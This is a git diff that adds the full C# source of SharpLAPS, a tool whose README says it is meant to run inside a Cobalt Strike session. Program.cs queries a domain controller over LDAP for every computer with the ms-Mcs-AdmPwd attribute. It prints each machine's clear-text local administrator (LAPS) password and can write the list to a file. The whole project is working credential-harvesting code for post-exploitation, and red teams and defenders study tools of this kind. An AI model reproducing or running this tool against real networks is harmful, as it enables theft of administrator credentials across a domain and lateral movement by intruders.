diff --git a/README.md b/README.md index 5ebe1ec..2519474 100644 --- a/README.md +++ b/README.md @@ -1 +1,33 @@ -# SharpLAPS \ No newline at end of file +# SharpLAPS + +> The attribute **ms-mcs-AdmPwd** stores the clear-text LAPS password. + +This executable is made to be executed within Cobalt Strike session using `execute-assembly`. +It will retrieve the **LAPS** password from the Active Directory. + +Require (either): +* Account with `ExtendedRight` or `Generic All Rights` +* Domain Admin privilege + +## Usage + +``` + _____ __ __ ___ ____ _____ + / ___// /_ ____ __________ / / / | / __ \/ ___/ + \__ \/ __ \/ __ `/ ___/ __ \/ / / /| | / /_/ /\__ \ + ___/ / / / / /_/ / / / /_/ / /___/ ___ |/ ____/___/ / +/____/_/ /_/\__,_/_/ / .___/_____/_/ |_/_/ /____/ + /_/ +Required +/host:<1.1.1.1> LDAP host to target, most likely the DC + +Optional +/user: Username of the account +/pass: Password of the account +/out: Outputting credentials to file +/ssl Enable SSL (LDAPS://) + +Usage: SharpLAPS.exe /user:DOMAIN\User /pass:MyP@ssw0rd123! /host:192.168.1.1 +``` + +![]() \ No newline at end of file diff --git a/Screenshot/screenshot.png b/Screenshot/screenshot.png new file mode 100755 index 0000000..bd93e99 Binary files /dev/null and b/Screenshot/screenshot.png differ diff --git a/SharpLAPS.sln b/SharpLAPS.sln new file mode 100755 index 0000000..d4c5a16 --- /dev/null +++ b/SharpLAPS.sln @@ -0,0 +1,25 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 16 +VisualStudioVersion = 16.0.30204.135 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SharpLAPS", "SharpLAPS\SharpLAPS.csproj", "{1E0986B4-4BF3-4CEA-A885-347B6D232D46}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Any CPU = Debug|Any CPU + Release|Any CPU = Release|Any CPU + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {1E0986B4-4BF3-4CEA-A885-347B6D232D46}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {1E0986B4-4BF3-4CEA-A885-347B6D232D46}.Debug|Any CPU.Build.0 = Debug|Any CPU + {1E0986B4-4BF3-4CEA-A885-347B6D232D46}.Release|Any CPU.ActiveCfg = Release|Any CPU + {1E0986B4-4BF3-4CEA-A885-347B6D232D46}.Release|Any CPU.Build.0 = Release|Any CPU + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {048244D9-3FFC-434E-A27E-D2970CEA77BC} + EndGlobalSection +EndGlobal diff --git a/SharpLAPS/App.config b/SharpLAPS/App.config new file mode 100755 index 0000000..5754728 --- /dev/null +++ b/SharpLAPS/App.config @@ -0,0 +1,6 @@ + + + + + + \ No newline at end of file diff --git a/SharpLAPS/ArgumentParser.cs b/SharpLAPS/ArgumentParser.cs new file mode 100755 index 0000000..3f00a07 --- /dev/null +++ b/SharpLAPS/ArgumentParser.cs @@ -0,0 +1,35 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; +using System.Diagnostics; + +namespace SharpLAPS +{ + public static class ArgumentParser + { + public static ArgumentParserResult Parse(IEnumerable args) + { + var arguments = new Dictionary(); + try + { + foreach (var argument in args) + { + var idx = argument.IndexOf(':'); + if (idx > 0) + arguments[argument.Substring(0, idx)] = argument.Substring(idx + 1); + else + arguments[argument] = string.Empty; + } + + return ArgumentParserResult.Success(arguments); + } + catch (System.Exception ex) + { + Debug.WriteLine(ex.Message); + return ArgumentParserResult.Failure(); + } + } + } +} diff --git a/SharpLAPS/ArgumentParserResult.cs b/SharpLAPS/ArgumentParserResult.cs new file mode 100755 index 0000000..a266840 --- /dev/null +++ b/SharpLAPS/ArgumentParserResult.cs @@ -0,0 +1,27 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + +namespace SharpLAPS +{ + public class ArgumentParserResult + { + public bool ParsedOk { get; } + public Dictionary Arguments { get; } + + private ArgumentParserResult(bool parsedOk, Dictionary arguments) + { + ParsedOk = parsedOk; + Arguments = arguments; + } + + public static ArgumentParserResult Success(Dictionary arguments) + => new ArgumentParserResult(true, arguments); + + public static ArgumentParserResult Failure() + => new ArgumentParserResult(false, null); + + } +} diff --git a/SharpLAPS/Program.cs b/SharpLAPS/Program.cs new file mode 100755 index 0000000..a389d66 --- /dev/null +++ b/SharpLAPS/Program.cs @@ -0,0 +1,106 @@ +using System; +using System.Collections.Generic; +using System.DirectoryServices; +using System.IO; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + +namespace SharpLAPS +{ + class Program + { + static void Main(string[] args) + { + Console.WriteLine(@" + _____ __ __ ___ ____ _____ + / ___// /_ ____ __________ / / / | / __ \/ ___/ + \__ \/ __ \/ __ `/ ___/ __ \/ / / /| | / /_/ /\__ \ + ___/ / / / / /_/ / / / /_/ / /___/ ___ |/ ____/___/ / +/____/_/ /_/\__,_/_/ / .___/_____/_/ |_/_/ /____/ + /_/ "); + + + var parsed = ArgumentParser.Parse(args); + String username = null; + String password = null; + String connectionString = "LDAP://{0}:{1}"; + DirectoryEntry ldapConnection; + + // Display help + if (parsed.Arguments.ContainsKey("/help") || !parsed.Arguments.ContainsKey("/host")) + { + Console.WriteLine("Required"); + Console.WriteLine("/host:<1.1.1.1> LDAP host to target, most likely the DC"); + + Console.WriteLine("\nOptional"); + Console.WriteLine("/user: Username of the account"); + Console.WriteLine("/pass: Password of the account"); + Console.WriteLine("/out: Outputting credentials to file"); + Console.WriteLine("/ssl Enable SSL (LDAPS://)"); + + Console.WriteLine("\nUsage: SharpLAPS.exe /user:DOMAIN\\User /pass:MyP@ssw0rd123! /host:192.168.1.1"); + Environment.Exit(-1); + } + + // Handle LDAPS connection + if (!parsed.Arguments.ContainsKey("/ssl")) + { + connectionString = String.Format(connectionString, parsed.Arguments["/host"], "389"); + } + else + { + connectionString = String.Format(connectionString, parsed.Arguments["/host"], "636"); + } + + + // Use the provided credentials or the current session + if (parsed.Arguments.ContainsKey("/host") && parsed.Arguments.ContainsKey("/pass")) + { + Console.WriteLine("\n[+] Using the following credentials"); + Console.WriteLine("Host: " + connectionString); + Console.WriteLine("User: " + parsed.Arguments["/user"]); + Console.WriteLine("Pass: " + parsed.Arguments["/pass"]); + username = parsed.Arguments["/user"]; + password = parsed.Arguments["/pass"]; + } + else + { + Console.WriteLine("\n[+] Using the current session"); + Console.WriteLine("Host: " + connectionString); + } + + try + { + // Connect to LDAP + ldapConnection = new DirectoryEntry(connectionString, username, password, System.DirectoryServices.AuthenticationTypes.Secure); + Console.WriteLine("\n[+] Extracting LAPS password from LDAP"); + DirectorySearcher searcher = new DirectorySearcher(ldapConnection); + searcher.Filter = "(&(objectCategory=computer)(ms-MCS-AdmPwd=*))"; + + // Iterate over all the credentials + List output = new List(); + foreach (SearchResult result in searcher.FindAll()) + { + DirectoryEntry DirEntry = result.GetDirectoryEntry(); + String sam = "Machine : " + DirEntry.Properties["sAMAccountName"].Value; + String pwd = "Password : " + DirEntry.Properties["ms-Mcs-AdmPwd"].Value; + Console.WriteLine(sam); + Console.WriteLine(pwd); + output.Add(DirEntry.Properties["sAMAccountName"].Value + ":" + DirEntry.Properties["ms-Mcs-AdmPwd"].Value); + + } + + // Export the data to the provided file + if (parsed.Arguments.ContainsKey("/out")) + { + File.AppendAllLines(parsed.Arguments["/out"], output); + } + } + catch + { + Console.WriteLine("\n[!] Invalid credentials or unreachable server"); + } + } + } +} diff --git a/SharpLAPS/Properties/AssemblyInfo.cs b/SharpLAPS/Properties/AssemblyInfo.cs new file mode 100755 index 0000000..86b9858 --- /dev/null +++ b/SharpLAPS/Properties/AssemblyInfo.cs @@ -0,0 +1,36 @@ +using System.Reflection; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; + +// Les informations générales relatives à un assembly dépendent de +// l'ensemble d'attributs suivant. Changez les valeurs de ces attributs pour modifier les informations +// associées à un assembly. +[assembly: AssemblyTitle("SharpLAPS")] +[assembly: AssemblyDescription("")] +[assembly: AssemblyConfiguration("")] +[assembly: AssemblyCompany("")] +[assembly: AssemblyProduct("SharpLAPS")] +[assembly: AssemblyCopyright("Copyright © 2021")] +[assembly: AssemblyTrademark("")] +[assembly: AssemblyCulture("")] + +// L'affectation de la valeur false à ComVisible rend les types invisibles dans cet assembly +// aux composants COM. Si vous devez accéder à un type dans cet assembly à partir de +// COM, affectez la valeur true à l'attribut ComVisible sur ce type. +[assembly: ComVisible(false)] + +// Le GUID suivant est pour l'ID de la typelib si ce projet est exposé à COM +[assembly: Guid("1e0986b4-4bf3-4cea-a885-347b6d232d46")] + +// Les informations de version pour un assembly se composent des quatre valeurs suivantes : +// +// Version principale +// Version secondaire +// Numéro de build +// Révision +// +// Vous pouvez spécifier toutes les valeurs ou indiquer les numéros de build et de révision par défaut +// en utilisant '*', comme indiqué ci-dessous : +// [assembly: AssemblyVersion("1.0.*")] +[assembly: AssemblyVersion("1.0.0.0")] +[assembly: AssemblyFileVersion("1.0.0.0")] diff --git a/SharpLAPS/SharpLAPS.csproj b/SharpLAPS/SharpLAPS.csproj new file mode 100755 index 0000000..11eeca8 --- /dev/null +++ b/SharpLAPS/SharpLAPS.csproj @@ -0,0 +1,56 @@ + + + + + Debug + AnyCPU + {1E0986B4-4BF3-4CEA-A885-347B6D232D46} + Exe + SharpLAPS + SharpLAPS + v4.7.2 + 512 + true + true + + + AnyCPU + true + full + false + bin\Debug\ + DEBUG;TRACE + prompt + 4 + + + AnyCPU + pdbonly + true + bin\Release\ + TRACE + prompt + 4 + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file